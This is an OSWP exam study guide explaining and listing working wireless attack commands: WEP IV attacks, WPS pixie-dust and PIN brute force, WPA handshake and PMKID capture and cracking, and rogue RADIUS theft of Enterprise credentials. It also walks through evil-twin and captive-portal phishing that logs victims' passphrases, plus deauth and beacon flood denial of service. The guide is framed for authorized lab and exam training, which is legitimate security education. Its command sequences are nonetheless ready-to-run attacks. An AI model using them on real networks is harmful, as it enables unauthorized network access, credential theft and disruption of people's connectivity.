OSWP Exam - Guided By RedBlock
PEN-210: Wireless Network Attacks - Offensive Security Wireless Professional (OSWP)
OSWP Field Guide (Explained Edition) — Offensive Security Wireless Professional (PEN-210)
Command sheet plus the theory behind every attack for OffSec's PEN-210 course and the OSWP exam. The goal of this edition is that you don't just copy commands — you understand why each one is there, so when a step fails on the exam you know what knob to turn.
Scope reminder: Everything here is for authorized testing — your own lab, the PEN-210 labs, or the OSWP exam environment. On the exam you're given target networks to assess; recover the keys/passphrases and document the method. Work one network at a time; note BSSID / ESSID / channel / encryption / clients for each.
Table of Contents
How Wi-Fi Works (the mental model)
Introduction & Exam Notes
Interface & Monitor Mode
Reconnaissance — airodump-ng
WEP — Theory
WEP — Attacks
WPS — Theory & Attacks
WPA/WPA2-PSK — Theory
WPA/WPA2-PSK — Capture & Crack
Cracking with hashcat (mode 22000)
Clientless WPA — PMKID Attack
WPA2-Enterprise (MGT)
Rogue APs, Karma & Evil Twin
Captive Portal Attack
mdk4 — DoS & Discovery Aids
Quick References (aireplay flags, hash modes)
Attack-Selection Decision Guide
Troubleshooting
Worked Exam-Style Walkthrough
Definitions
1. How Wi-Fi Works (the mental model)
Before any attack makes sense, you need the shape of 802.11. Everything you do on the exam is manipulating one of three frame classes:
Management frames — how devices find and join networks: beacons (the AP advertising itself), probe requests/responses (clients asking "is network X here?"), authentication, association, and deauthentication. These are almost always unencrypted, even on WPA2 networks — which is exactly why a deauth attack works against any encryption: you're forging a management frame, not breaking crypto.
Control frames — traffic housekeeping (ACKs, RTS/CTS). You rarely touch these directly.
Data frames — the actual payload. On WEP/WPA these are encrypted; capturing them is what feeds cracking.
Channels: 2.4 GHz Wi-Fi is split into channels (1–14). A radio hears one channel at a time, so when you lock airodump to a channel you stop it hopping and capture that AP reliably. Getting the channel right is a constant source of "why isn't my attack working."
The association dance: a client (1) discovers the AP via beacons/probes, (2) authenticates (open or shared-key for WEP; for WPA the real auth is the 4-way handshake later), (3) associates, then (4) exchanges data. Many attacks (fake auth, deauth) are about inserting yourself into — or resetting — this sequence.
Monitor mode is the key enabler: a normal ("managed") interface only hands your OS frames addressed to it, already decrypted where possible. Monitor mode puts the card into a passive-listener state that captures every 802.11 frame in the air on the current channel, including management frames and other people's encrypted data. Injection (sending forged frames like deauth/replay) also requires monitor mode and a card/driver that supports it.
2. Introduction & Exam Notes
What OSWP tests: practical attacks against WEP, WPS, WPA/WPA2-PSK, and WPA-Enterprise, plus rogue-AP/captive-portal techniques. You identify the encryption in use, choose the right path, execute, and recover the key/passphrase.
Exam-day workflow:
After connecting to the
.ovpn, test SSH and RDP to confirm connectivity before starting.List wireless interfaces:
sudo airmon-ng.Per target: enumerate (BSSID, ESSID, channel, ENC, AUTH, clients) → choose attack → capture → crack → document.
Note everything. A captured handshake / IV set / PMKID is reusable; a client MAC you saw once may be the pivot you need later.
Why a methodical approach matters: wireless attacks fail quietly. A wrong channel, an active client you shouldn't have impersonated, or a card that dropped out of monitor mode all produce "nothing happens" rather than an error. Slowing down to confirm each precondition (right channel? associated? data flowing?) is what separates a pass from hours of confusion.
Dependencies (install first):
sudo apt install aircrack-ng reaver hashcat hostapd dnsmasq nftables apache2 libapache2-mod-php freeradius
# also useful: hcxdumptool hcxtools mdk4 cowpatty pyrit wash bully
Restart Network Manager (recover connectivity when done):
systemctl restart NetworkManager.service
3. Interface & Monitor Mode
Why kill processes first: NetworkManager and wpa_supplicant constantly retune the card (scanning, trying to associate). If they're running, they'll fight your monitor mode and change channels underneath you. airmon-ng check kill stops them so you own the radio.
sudo airmon-ng # list wireless interfaces
sudo airmon-ng check kill # stop interfering processes
sudo airmon-ng start wlan0 # monitor mode -> wlan0mon
sudo airmon-ng start wlan0 6 # monitor mode locked to channel 6
iwlist wlan0mon channel # confirm the listening channel
# stop monitor mode
sudo ifconfig wlan0mon down
sudo airmon-ng stop wlan0mon
Manual monitor mode (iw) — handy when airmon-ng misbehaves; it creates a separate monitor interface without tearing down the base one:
iw dev wlan0 interface add mon0 type monitor
ifconfig mon0 up
iwconfig mon0 # verify Mode:Monitor
iw dev mon0 interface del # remove when done
Passive discovery without aircrack (quick "what's around"):
iw dev wlan0 scan | grep SSID:
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID" # SSID + channel
MAC address / spoofing — and why: the AP identifies clients by MAC. Two reasons to change yours: (1) to bypass MAC filtering by cloning an allowed client, and (2) to make your injected frames come from a MAC the AP will accept (fake auth uses "your" MAC as the associating station).
macchanger --show wlan0
macchanger -m 00:11:22:33:44:55 wlan0
macchanger -r wlan0 # random
MAC filtering caveat: if fake auth keeps failing, MAC filtering may be on. Sniff with airodump, grab a valid client MAC, and impersonate it — but only after that client leaves. Two identical MACs active at once causes conflicts and tips off the AP.
4. Reconnaissance — airodump-ng
airodump-ng is your radar: it lists APs (top) and clients/"stations" (bottom), and it's also the capture tool that writes the .cap file cracking needs.
sudo airodump-ng wlan0mon # survey all channels
sudo airodump-ng wlan0mon --encrypt WEP # filter by encryption
sudo airodump-ng -w capture -c 6 wlan0mon # capture, channel locked
sudo airodump-ng -w capture -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon # fully targeted
sudo airodump-ng -w capture --output-format pcap wlan0mon # force pcap
Reading the columns (this drives your whole attack choice):
#Data— count of data frames captured. For WEP this is effectively your IV counter; you want this climbing fast. If it's stuck, you need to generate traffic (replay/deauth).ENC/CIPHER— WEP vs WPA vs WPA2; TKIP vs CCMP. Tells you which family of attack applies.AUTH— the tell for sub-type:PSK→ pre-shared key (normal home WPA2) → capture handshake or PMKID.MGT→ WPA-Enterprise (RADIUS/802.1X) → rogue-RADIUS attack.SKA(appears once a client authenticates on WEP) → Shared Key WEP → needs the XOR-keystream bypass.
Station rows — connected clients. Their presence decides "client-based" vs "clientless" paths. A client's MAC is what you target for deauth.
Why lock the channel (-c): unlocked, airodump hops channels and only catches your target intermittently — handshakes and IVs get missed. Once you know the target channel, always lock to it for captures and attacks.
Visualize relationships:
airgraph-ng -i capture-01.csv -g CAPR -o out.png # which clients talk to which AP
5. WEP — Theory
Why WEP dies: WEP encrypts each packet with RC4 keyed by a fixed secret key concatenated with a 24-bit Initialization Vector (IV) sent in cleartext. Two fatal problems: (1) 24 bits is tiny, so on a busy network IVs repeat, and (2) the way the key+IV seeds RC4 leaks statistical information about the key (the FMS, and later the far more efficient PTW, attacks). Collect enough packets with varied IVs and aircrack-ng recovers the key regardless of its length or complexity — WEP's weakness is mathematical, not a matter of a weak password.
So the entire WEP game is: gather IVs fast. Every WEP attack below is just a different way to make the AP emit lots of data frames (each carrying a fresh IV) so aircrack has enough to solve the key. The path you pick depends on what's available:
Clients present and chatty? Replay their ARP traffic (§6.1).
A client you can talk to but not the AP? Use the client (§6.2).
No clients at all (clientless)? Manufacture keystream with fragmentation/chopchop, forge an ARP, and replay it (§6.3–6.4).
Shared-Key auth (SKA)? You must first steal a keystream (PRGA XOR) via deauth, then fake-auth with it (§6.5).
Fake authentication underpins most of these: to inject packets the AP must think you're an associated station. aireplay-ng -1 performs an open-system association so your later injected frames are accepted. (It generates no ARP itself — don't expect it to feed IVs; it just gets you "a seat at the table.")
6. WEP — Attacks
6.1 With connected clients (ARP replay) — the workhorse
Idea: capture a single encrypted ARP request from a real client, then replay it thousands of times. The AP re-broadcasts each replay with a new IV, so #Data climbs fast and aircrack solves the key.
sudo airmon-ng start wlan0
sudo airodump-ng -w capture -c <CH> --bssid <BSSID> wlan0mon
macchanger --show wlan0mon
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon # associate (fake auth)
aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> wlan0mon # ARP replay (IV engine)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon # optional deauth to spawn an ARP
aircrack-ng capture*.cap # crack once #Data is high enough
Why the optional deauth: ARP replay needs an ARP to seed on. If none appears, briefly deauth a client — on reconnect it typically emits an ARP, giving the replay something to grab.
6.2 Cracking via a client (interactive replay)
When: you can't fake-auth to the AP (client-to-client isolation, MAC controls, IV-cap APs) or you're in range of the client but not the AP. You coax the client itself into producing replayable traffic.
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon
aireplay-ng -2 -b <BSSID> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 wlan0mon # select & replay a packet
# or replay from a capture:
aireplay-ng -2 -r replay_src-<FILE>.cap wlan0mon
aircrack-ng capture*.cap
The -m/-n bounds filter for packet sizes that look like ARP so you replay something the AP will re-broadcast.
6.3 Clientless — Fragmentation attack
When: no clients, and the AP uses open (not shared-key) auth, and it's emitting some data. Idea: you don't have the key, but you can trick the AP into revealing a chunk of keystream (PRGA XOR) by sending small fragments and observing the response. With ~1500 bytes of keystream you can forge your own ARP and replay it to generate IVs — no client needed.
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon
aireplay-ng -5 -b <BSSID> -h <YOUR_MAC> wlan0mon # fragmentation -> <frag>.xor keystream
packetforge-ng -0 -a <BSSID> -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <frag>.xor -w arp-packet
aireplay-ng -2 -r arp-packet wlan0mon # replay forged ARP -> IVs
aircrack-ng capture*.cap
6.4 Clientless — ChopChop attack
Same goal as fragmentation (recover keystream) via a different mechanism: chopchop peels one byte at a time off an encrypted packet, using the AP's responses as an oracle, until it reconstructs the keystream. Use it when fragmentation doesn't work against a given AP (driver/AP quirks make one or the other succeed).
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon
aireplay-ng -4 -b <BSSID> -h <YOUR_MAC> wlan0mon # chopchop -> <chop>.xor
packetforge-ng -0 -a <BSSID> -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <chop>.xor -w arp-packet
aireplay-ng -2 -r arp-packet wlan0mon
aircrack-ng capture*.cap
6.5 Bypassing Shared-Key Authentication (SKA)
Why normal fake-auth fails here: with SKA the AP challenges the station to prove it knows the key during auth. You don't. But the challenge/response exchange leaks a PRGA keystream — capture it by deauthing a legitimate client (forcing it to re-auth), then feed that keystream to fake-auth so you pass the challenge without knowing the key.
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon # fails (SKA)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon # deauth -> captures XOR
aireplay-ng -1 60 -e <ESSID> -y wepshared-<NAME>.xor -a <BSSID> -h <YOUR_MAC> wlan0mon # auth using XOR
aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> wlan0mon # now ARP replay for IVs
aircrack-ng capture*.cap
6.6 When aircrack won't crack
aircrack-ng -f 4 capture*.cap # raise the "fudge factor" — tries more key candidates (slower)
aircrack-ng -w <wordlist> capture*.cap # WEP dictionary attack (for ASCII-passphrase-derived keys)
Fudge factor explained: aircrack ranks likely key bytes and brute-forces around the top candidates. A higher fudge widens that search — use it when you have plenty of IVs but the key won't fall (a sign the real bytes are just outside the default search window).
6.7 Other WEP attacks (know they exist)
Hirte and Cafe Latte — recover a WEP key from a lone, roaming client (no AP in range) by getting the client to emit encrypted ARP-like traffic you can attack. Targets the client, not the AP.
besside-ng — automates IV capture end-to-end:
besside-ng -c <CH> -b <BSSID> wlan0mon.
7. WPS — Theory & Attacks
What WPS is: a "convenience" feature letting users join with an 8-digit PIN instead of the passphrase. The flaw: the PIN is validated in two halves (first 4 digits, then 3 + a checksum digit), so brute force collapses from 10⁸ to about 11,000 tries — and success reveals the actual WPA passphrase. Pixie-dust is even faster: many chipsets generate the WPS nonces with weak/low entropy, letting you compute the PIN offline from a single exchange in seconds.
wash -i wlan0mon -s # find WPS APs; want Lck = No (not locked)
macchanger --show wlan0mon
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon # associate if needed
# Offline Pixie-Dust (try first — fast when the chipset is vulnerable)
reaver -i wlan0mon -b <BSSID> -SNLAvv -c <CH> -K
# Online PIN brute force (fallback; delays avoid lockouts)
reaver -i wlan0mon -b <BSSID> -SNLAsvv -d 1 -r 5:3 -c <CH>
Why Lck = No matters: many APs lock WPS after repeated failures. If wash shows Yes, online brute force is dead until it unlocks; pixie-dust may still work since it needs only one exchange. -d/-r throttle attempts to delay/avoid lockout. bully is a drop-in alternative if reaver stalls.
8. WPA/WPA2-PSK — Theory
Why you can't do the WEP trick: WPA/WPA2 don't leak the key through traffic. Instead, both sides derive a per-session key through a 4-way handshake, and you must crack the passphrase offline.
The key hierarchy:
PMK (Pairwise Master Key) =
PBKDF2(passphrase, ESSID, 4096 iterations). It depends only on the passphrase + network name — which is why precomputation and PMKID attacks are possible.During the 4-way handshake the AP and client exchange two random nonces (ANonce, SNonce) and their MACs, and combine them with the PMK to derive the PTK (Pairwise Transient Key). A MIC (message integrity code) proves each side holds the right PMK.
What you actually capture: the handshake frames give you ANonce, SNonce, both MACs, the ESSID, and the MIC. Everything except the PMK/passphrase. So offline you guess a passphrase → derive PMK → derive PTK → compute the MIC → compare to the captured MIC. Match = correct passphrase. This is why WPA cracking is a dictionary/brute-force problem, and why a strong passphrase is effectively uncrackable.
You only need frames 1–2 (ANonce + SNonce + MIC) for a crackable handshake, which is why a quick deauth that forces a client to re-handshake is usually enough.
9. WPA/WPA2-PSK — Capture & Crack
9.1 Capture the handshake
sudo airmon-ng start wlan0
sudo airodump-ng -w capture -c <CH> --bssid <BSSID> wlan0mon
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon # deauth a client -> it reconnects -> handshake
aireplay-ng -0 1 -a <BSSID> wlan0mon # broadcast deauth if no specific client
Confirming success: airodump prints "WPA handshake: <BSSID>" in the top-right when it has one. If it doesn't appear, you either deauthed on the wrong channel, there was no client, or the client didn't fully re-handshake — repeat, and keep the deauth short (one or two bursts) so the client actually reconnects rather than staying knocked off.
9.2 Crack with aircrack-ng
aircrack-ng capture*.cap -w /usr/share/wordlists/rockyou.txt
aircrack-ng capture*.cap -e <ESSID> -w /usr/share/wordlists/rockyou.txt # if ESSID not auto-detected
9.3 Precomputed PMK database (airolib-ng)
Why: the PBKDF2 step is deliberately slow (4096 iterations). Since PMK depends only on ESSID+passphrase, precompute PMKs for a target ESSID once and reuse them — massively faster if you'll crack the same network repeatedly.
echo "<ESSID>" > essid.txt
airolib-ng db --import essid essid.txt
airolib-ng db --import passwd <wordlist>
airolib-ng db --batch
aircrack-ng -r db capture*.cap
9.4 John the Ripper → aircrack (rule-based candidates)
Why pipe John in: John generates smart, rule-mutated guesses (e.g., Summer2024!) that a flat wordlist lacks — useful when the passphrase is a human-modified word.
john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <ESSID> -w - capture*.cap
# or via hccap:
aircrack-ng capture*.cap -J john_out
hccap2john john_out.hccap > out
john --wordlist=<wordlist> --rules out
9.5 coWPAtty & Pyrit
cowpatty -r capture*.cap -c # verify a full handshake is present
cowpatty -r capture*.cap -f <wordlist> -s <SSID> # crack (slow, CPU)
genpmk -s <SSID> -f <wordlist> -d hashes # precompute (like airolib-ng)
cowpatty -r capture*.cap -d hashes -s <SSID> # fast crack with precomputed hashes
pyrit -r capture*.cap -b <BSSID> -i <wordlist> attack_passthrough # GPU-capable
These are alternatives; on modern setups hashcat (next section) is usually fastest because it uses the GPU efficiently.
10. Cracking with hashcat (mode 22000)
Why 22000: hashcat's modern mode combines PMKID and EAPOL handshakes in one text format, reuses PBKDF2 work across candidates, and plays nicely with standard tools. It replaced the old binary .hccapx (mode 2500).
10.1 Convert capture → 22000
hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng # from cap/pcapng (also dumps found strings)
cap2hccapx capture.cap capture.hccapx # legacy path (mode 2500)
Or the online converter at hashcat.net/cap2hashcat/ if you can't build hcxtools.
10.2 Crack
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt # dictionary
hashcat -m 22000 hash.hc22000 -r rules/best64.rule cracked.txt # rule-based
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d # brute: 8 digits
hashcat -m 2500 capture.hccapx /usr/share/wordlists/rockyou.txt # legacy
Choosing an attack mode: try a dictionary + rules first (fastest realistic hit). Fall back to a mask/brute only when you have a known pattern (e.g., "it's a phone number" → ?d×10, or "8 lowercase" → ?l×8). Estimate brute time before launching — WPA's PBKDF2 makes large keyspaces impractical.
10.3 hc22000 line format & filtering (reference)
WPA*01*PMKID*MAC_AP*MAC_CLIENT*ESSID***MESSAGEPAIR # PMKID
WPA*02*MIC*MAC_AP*MAC_CLIENT*ESSID*NONCE_AP*EAPOL*MESSAGEPAIR # EAPOL/handshake
grep 'WPA\*01' hash.hc22000 > pmkid.hc22000 # keep only PMKIDs
grep 'WPA\*02' hash.hc22000 > eapol.hc22000 # keep only handshakes
hcxhashtool -i hash.hc22000 --type=1 -o pmkid.hc22000
hcxhashtool -i hash.hc22000 --mac-ap=112233445566 -o macap.hc22000
11. Clientless WPA — PMKID Attack
Why it's powerful: on many APs, the PMKID (a hash of PMK + AP MAC + client MAC) is included in the very first EAPOL frame the AP sends — before any client finishes connecting. That means you can grab crackable material with no clients present and no deauth, straight from the AP. You then crack the PMKID exactly like a handshake (same PMK, so same passphrase).
sudo systemctl stop NetworkManager.service wpa_supplicant.service # free the radio
sudo hcxdumptool -i wlan0 -w dump.pcapng --rds=1 -F # capture PMKIDs/EAPOL (any SSID)
# Target a specific BSSID:
echo "<BSSID>" | sed 's/://g' > bssid
sudo hcxdumptool -i wlan0 -o dump.pcapng --enable_status=15 --filterlist_ap=bssid --filtermode=2
hcxpcapngtool -o hash.hc22000 dump.pcapng
hashcat -m 22000 hash.hc22000 <wordlist>
sudo systemctl start wpa_supplicant.service NetworkManager.service # restore connectivity
Capture hygiene (important): let hcxdumptool manage the radio (don't pre-set monitor mode with airmon-ng for this tool), don't run it on a virtual interface, don't clean the pcap with
wpaclean, and don't merge pcapng files — each of those destroys the option fields hcxpcapngtool needs to build a valid hash.
12. WPA2-Enterprise (MGT)
Why the approach is totally different: with AUTH = MGT there's no shared passphrase — each user authenticates to a RADIUS server via 802.1X/EAP (commonly PEAP/MSCHAPv2). You can't capture-and-crack a PSK because there isn't one. Instead you become the AP: stand up a rogue AP + rogue RADIUS with a look-alike certificate, get a client to connect, and capture the MSCHAPv2 challenge/response, which is crackable offline to recover that user's password.
The one weakness you rely on: clients that don't strictly validate the server certificate will happily authenticate to your rogue RADIUS, handing over the challenge/response. (Well-configured clients that pin the CA defeat this — which is the real-world defense.)
12.1 Recon the certificate
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon # confirm AUTH = MGT
sudo airodump-ng -c <CH> -w <ESSID> wlan0mon
aireplay-ng -0 0 -a <BSSID> -c <CLIENT_MAC> wlan0mon # deauth to force a re-auth you can observe
Pull the server cert from the TLS handshake so your rogue cert can mimic its issuer/fields (more convincing to clients):
wlan.bssid==AA:BB:CC:DD:EE:FF && eap && tls.handshake.certificate
tls.handshake.type == 11
openssl x509 -inform der -in cert.der -text # read issuer/subject
openssl x509 -inform der -in cert.der -outform pem -out output.crt # optional PEM copy
12.2 Stand up rogue RADIUS + AP
sudo apt install freeradius
sudo mousepad /etc/freeradius/3.0/certs/ca.cnf # make CA fields look legitimate
sudo mousepad /etc/freeradius/3.0/certs/server.cnf # match the real cert's identity
cd /etc/freeradius/3.0/certs/ && sudo rm dh && make # rebuild certs (ignore FreeRADIUS' own errors)
sudo mousepad /etc/hostapd-mana/mana.conf # SSID, cert paths, EAP file
sudo mousepad /etc/hostapd-mana/mana.eap_user # allowed EAP protocols/methods
sudo hostapd-mana /etc/hostapd-mana/mana.conf # launch the rogue AP
12.3 Recover & use the credentials
asleap -C <challenge> -R <response> -W /usr/share/john/password.lst # crack MSCHAPv2
Then authenticate as the user:
# wpa_supplicant.conf
network={
ssid="NetworkName"
scan_ssid=1
key_mgmt=WPA-EAP
identity="Domain\\username"
password="password"
eap=PEAP
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
wpa_supplicant -c wpa_supplicant.conf -i wlan0
Troubleshooting:
hostapd-manamust be installed specifically — the stockhostapd/hostapd_clilack themana_wpaoutoption and error withunknown configuration item 'mana_wpaout'.
13. Rogue APs, Karma & Evil Twin
Core idea: clients trust network names, not APs. If you broadcast an SSID a client wants, it may join you instead of the real AP — putting you in the middle for credential capture (captive portal) or Enterprise cred theft.
Discovery
sudo airodump-ng -w capture --output-format pcap wlan0mon
Wireshark filters:
wlan.fc.type_subtype == 0x08 # beacon frames
wlan.ssid == "apname" # a specific AP name
wlan.fc.type_subtype == 0x08 && wlan.ssid == "apname"
Inspect Tag: Vendor Specific and Tag: RSN Information for cipher/auth details.
Rogue AP (hostapd-mana)
# template: /etc/hostapd-mana/hostapd-mana.conf (set SSID/channel/interface)
sudo hostapd-mana hostapd-mana.conf
Karma attack (evil twin from the PNL)
Why it works: devices remember networks in a Preferred Network List (PNL) and actively probe for them ("is HomeWiFi here?"). Karma listens for those probes and answers as whatever they asked for, instantly becoming an evil twin of a trusted network. If your signal is stronger and the client doesn't authenticate the AP, it associates and you're MITM. Modern clients probe less aggressively, so Karma is less reliable than it once was — but still exam-relevant.
14. Captive Portal Attack
When you use it: you can't crack a strong WPA passphrase by brute force, so instead you ask the user for it. You clone the login/portal experience, run a rogue AP + DHCP + DNS that redirects everything to your page, and capture whatever the victim types (often the Wi-Fi passphrase or portal creds). It's social engineering wrapped in infrastructure.
Why each piece exists:
Apache/PHP serves the fake portal and the script that records submitted creds.
dnsmasq hands the victim an IP (DHCP) and answers every DNS query with your server (so any site they open lands on your page). The
dns.msftncsi.comentry spoofs Windows' captive-portal detection so the "sign in to network" prompt fires.nftables redirects port 53 so DNS can't escape to a real resolver.
# 1-3. Capture a handshake + deauth (also verifies passphrases later)
sudo airodump-ng wlan0mon
sudo airodump-ng -w portalcap --output-format pcap -c <CH> wlan0mon
sudo aireplay-ng -0 <count> -a <BSSID> wlan0mon
# 4-8. Fake portal
sudo apt install apache2 libapache2-mod-php
wget -r -l2 https://www.targetsite.com # clone (2 levels deep)
sudo mkdir /var/www/html/portal
sudo mousepad /var/www/html/portal/index.php
sudo cp -r ./www.targetsite.com/assets /var/www/html/portal
sudo mousepad /var/www/html/portal/login_check.php # write submitted creds to a file
# 9. AP-side interface
sudo ip addr add 192.168.87.1/24 dev wlan0
sudo ip link set wlan0 up
# 10-14. DHCP + DNS
sudo apt install dnsmasq
# /home/kali/dnsmasq.conf:
# address=/com/192.168.0.1
# address=/org/192.168.0.1
# address=/net/192.168.0.1
# address=/dns.msftncsi.com/131.107.255.255 # Win captive-portal detection
sudo dnsmasq --conf-file=dnsmasq.conf
sudo tail /var/log/syslog | grep dnsmasq
# 15-16. Force DNS to us
sudo apt install nftables
sudo nft add table ip nat
sudo nft 'add chain ip nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'
sudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53
# 17-19. Apache
sudo mousepad /etc/apache2/sites-enabled/000-default.conf
sudo a2enmod rewrite && sudo a2enmod alias
sudo systemctl restart apache2
# test: firefox 127.0.0.1/portal/index.php
# 20-22. Bring up AP + watch logs
sudo apt install hostapd && mousepad hostapd.conf
sudo hostapd -B hostapd.conf
sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)' # terminal 1
sudo tail -f /var/log/apache2/access.log # terminal 2
# 23-24. Read captured passphrase
sudo find /tmp/ -iname passphrase.txt
sudo cat /tmp/systemd-private-*-apache2.service-*/tmp/passphrase.txt
Verifying what you captured: a real user might fat-finger the passphrase, so validate the captured string against the handshake you grabbed in step 1–3 (e.g., with aircrack) before trusting it.
15. mdk4 — DoS & Discovery Aids
mdk4 wlan0mon b -n <AP_NAME> -w nta -m # beacon flood (fake APs; can crash scanners)
mdk4 wlan0mon a -a <BSSID> -m # auth DoS (flood auth requests)
mdk4 wlan0mon d -c <CH> -E <ESSID> -B <BSSID> # deauth flood (all clients)
Why you'd use these: mostly to force reconnections (handshakes) or to reveal hidden SSIDs. A hidden network omits its name from beacons, but when a client reconnects it announces the SSID — so deauth it and watch:
sudo airodump-ng -c <CH> --bssid <BSSID> wlan0mon
aireplay-ng -0 20 -a <BSSID> -c <CLIENT_MAC> wlan0mon # or broadcast (drop -c)
16. Quick References
aireplay-ng attack numbers:
Flag | Attack | Purpose |
|---|---|---|
| Deauthentication | Force reconnect (handshake / ARP / reveal SSID) |
| Fake authentication | Associate so injected frames are accepted |
| Interactive replay | Replay a chosen/forged packet |
| ARP replay | WEP IV engine |
| ChopChop | Recover keystream (byte-by-byte) |
| Fragmentation | Recover keystream (fragments) |
| Injection test | Verify card can inject |
hashcat WPA hash modes:
Mode | Name | Use |
|---|---|---|
22000 | WPA-PBKDF2-PMKID+EAPOL | Current — PSK from handshake and/or PMKID |
22001 | WPA-PMK-PMKID+EAPOL | Verify a known 64-hex PMK |
2500 | WPA-EAPOL-PBKDF2 (hccapx) | Legacy handshake |
16800 | WPA-PMKID-PBKDF2 | Legacy PMKID-only |
Trim a bloated capture before converting:
tshark -r dumpfile.cap -Y "(wlan.fc.type_subtype==0x00 || wlan.fc.type_subtype==0x02 || wlan.fc.type_subtype==0x04 || wlan.fc.type_subtype==0x05 || wlan.fc.type_subtype==0x08 || eapol)" -2 -F pcapng -w stripped.pcapng
17. Attack-Selection Decision Guide
Observation (airodump) | Path | Section |
|---|---|---|
| Fake-auth + ARP replay | §6.1 |
| Fragmentation or ChopChop | §6.3–6.4 |
| Shared-key bypass via PRGA XOR | §6.5 |
| Hirte / Cafe Latte | §6.7 |
WPS enabled, | Pixie-dust, else online PIN | §7 |
| Capture 4-way handshake → crack | §9–10 |
| PMKID attack | §11 |
| Enterprise rogue RADIUS + asleap | §12 |
Clients probing for known SSIDs | Karma / evil twin | §13 |
Strong passphrase, users present | Captive portal (ask, don't crack) | §14 |
18. Troubleshooting
"Nothing happens" on injection → verify injection support:
aireplay-ng -9 wlan0mon. Confirm you're on the target's channel and associated (fake auth succeeded).Fake auth keeps failing → likely MAC filtering (clone an allowed client, once it's offline) or SKA WEP (use the §6.5 keystream path).
#Datanot climbing (WEP) → no ARP to replay; deauth a client to spawn one, or go clientless (fragmentation/chopchop).No "WPA handshake" message → wrong channel, no client, or over-long deauth (client stayed off). Deauth in short bursts and stay channel-locked.
hashcat won't load the hash → conversion problem; don't clean/merge pcaps, reconvert with
hcxpcapngtool, confirm mode 22000.WPS locked (
Lck = Yes) → online brute is dead until it unlocks; try pixie-dust (needs one exchange) or wait/throttle with-d/-r.unknown configuration item 'mana_wpaout'→ you're running stockhostapd, nothostapd-mana.Card fell out of monitor mode / channel drifting → a service came back; re-run
airmon-ng check kill.
19. Worked Exam-Style Walkthrough
Illustrative flow for a WPA2-PSK target with one connected client.
Enumerate.
sudo airmon-ng check kill && sudo airmon-ng start wlan0;sudo airodump-ng wlan0mon. You spotTargetNet, BSSIDAA:BB:..., channel 6,ENC WPA2,AUTH PSK, one station connected. → Note all of it.Lock & capture.
sudo airodump-ng -w tnet -c 6 --bssid AA:BB:... wlan0mon. Leave it running.Force the handshake. In a second terminal:
aireplay-ng -0 1 -a AA:BB:... -c <client> wlan0mon. Watch the airodump window for "WPA handshake: AA:BB:...". (No message? Re-check channel, deauth once more, keep it short.)Convert (optional but recommended).
hcxpcapngtool -o tnet.hc22000 tnet-01.cap.Crack — dictionary first.
hashcat -m 22000 tnet.hc22000 rockyou.txt. Nothing? Add rules:hashcat -m 22000 tnet.hc22000 -r rules/best64.rule rockyou.txt.If it's a known pattern, mask-brute: e.g. all-digits →
hashcat -m 22000 tnet.hc22000 -a 3 ?d?d?d?d?d?d?d?d.Recover & document. Record the passphrase, the exact commands used, the handshake evidence, and the recovery time. That write-up is the deliverable.
The meta-lesson: identify (AUTH/ENC/clients) → capture the right artifact (handshake/PMKID/IVs/keystream) → crack with the fastest viable method → document. Every network on the exam is a variation on that loop.
20. Definitions
AP — Access Point. BSSID — the AP's MAC-format ID. ESSID/SSID — network name.
IV — Initialization Vector; WEP's cleartext per-packet value whose reuse breaks WEP.
PRGA XOR — recovered keystream (from chopchop/fragmentation/SKA) used to forge/auth without the key.
PSK — Pre-Shared Key. PMK — Pairwise Master Key = PBKDF2(passphrase, ESSID). PTK — per-session key derived in the handshake. MIC — integrity code proving PMK possession.
PMKID — hash of PMK+APMAC+ClientMAC, sometimes leaked by the AP → clientless WPA attack.
EAPOL — the 4-way-handshake frames. PNL — Preferred Network List (SSIDs a client auto-probes).
MGT — WPA-Enterprise (RADIUS/802.1X). PEAP/MSCHAPv2 — common Enterprise EAP method attacked via rogue RADIUS + asleap.
End of guide. Commands are templates — adapt interface names (wlan0/wlan0mon), channels, BSSIDs, and wordlist paths, and only run them against networks you're authorized to test (your lab or the OSWP exam).